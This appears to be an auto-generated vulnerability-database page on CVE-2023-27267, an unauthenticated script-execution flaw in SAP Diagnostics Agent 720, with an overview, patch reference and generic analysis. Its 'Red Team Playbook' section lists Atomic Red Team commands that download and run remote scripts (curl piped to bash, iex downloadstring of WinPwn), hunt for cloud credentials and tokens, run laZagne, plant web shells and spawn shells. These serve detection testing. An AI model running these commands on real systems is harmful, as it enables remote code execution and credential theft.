CVE-2023-27267
Overview
This vulnerability is an authentication bypass combined with insufficient input validation in the OSCommand Bridge component of SAP Diagnostics Agent version 720. The root cause lies in the absence of proper authentication controls and inadequate sanitization of input parameters, enabling unauthorized script execution. The flaw specifically affects the OSCommand Bridge feature responsible for executing commands across connected Diagnostics Agents.
Vulnerability Description
Due to missing authentication and insufficient input validation, the OSCommand Bridge of SAP Diagnostics Agent - version 720, allows an attacker with deep knowledge of the system to execute scripts on all connected Diagnostics Agents. On successful exploitation, the attacker can completely compromise confidentiality, integrity and availability of the system.
Impact
An unauthenticated remote attacker can execute arbitrary scripts on all connected SAP Diagnostics Agents, resulting in full compromise of system confidentiality, integrity, and availability. This enables unauthorized data access, manipulation, and potential disruption of diagnostic services. The attacker requires network access but no privileges or user interaction, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H, highlighting the critical severity and the ability to impact multiple system components.
Solution
SAP has released a security update documented in advisory note 3305369, addressing this issue in SAP Diagnostics Agent version 720. Administrators must apply the recommended patches provided by SAP as detailed in https://launchpad.support.sap.com/#/notes/3305369 and the SAP security document dated February 2022. No alternative workarounds are specified; updating to the fixed version is mandatory to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the OSCommand Bridge of the SAP Diagnostics Agent version 720 stems from a combination of missing authentication and insufficient input validation. This flaw allows an attacker with advanced knowledge of the system to execute arbitrary scripts on all connected Diagnostics Agents. The absence of robust authentication mechanisms means that unauthorized users can gain access to sensitive functionalities that should be restricted. Furthermore, the lack of proper input validation opens the door for command injection attacks, where an attacker can manipulate input data to execute unintended commands on the system. This dual-faceted vulnerability creates a significant risk, as it can lead to unauthorized access and control over the system's operations.
Exploitation of this vulnerability can occur through various attack vectors. An attacker might initiate a targeted attack by leveraging social engineering techniques to gain initial access to the network where the SAP Diagnostics Agent is deployed. Once inside, the attacker can exploit the missing authentication to issue commands that the system would normally restrict. Alternatively, the attacker could directly exploit the insufficient input validation by crafting malicious input that the system processes without adequate checks. This could lead to the execution of scripts that compromise the integrity and availability of the system, potentially affecting all connected agents and creating a cascading failure across the network.
The real-world impact of this vulnerability is profound, particularly for organizations relying on SAP systems for critical business operations. Successful exploitation can lead to a complete compromise of confidentiality, integrity, and availability, resulting in data breaches, loss of sensitive information, and disruption of services. The financial implications can be severe, including costs associated with incident response, system recovery, and potential regulatory fines. Additionally, the reputational damage from a publicized breach can erode customer trust and confidence, leading to long-term business risks. Organizations must recognize that the consequences of such vulnerabilities extend beyond immediate technical challenges, affecting their overall operational resilience.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments and penetration testing can help identify weaknesses in the system before they can be exploited by malicious actors. Additionally, organizations should enforce strict access controls and authentication mechanisms to limit who can interact with the Diagnostics Agent. Input validation should be rigorously applied to all data received by the system, ensuring that only legitimate commands are executed. Furthermore, keeping the SAP Diagnostics Agent and associated software up to date with the latest security patches is crucial in minimizing exposure to known vulnerabilities.
In conclusion, the vulnerability present in the OSCommand Bridge of the SAP Diagnostics Agent version 720 poses a significant threat to organizations utilizing this software. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect sensitive data and maintain operational integrity but also safeguard the organization's reputation in an increasingly complex cybersecurity landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sap | Diagnostics Agent | 720 |
cpe:2.3:a:sap:diagnostics_agent:720:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27267 |
| launchpad.support.sap.com |
GitHub CVE
|
https://launchpad.support.sap.com/#/notes/3305369 |
| sap.com |
GitHub CVE
|
https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html |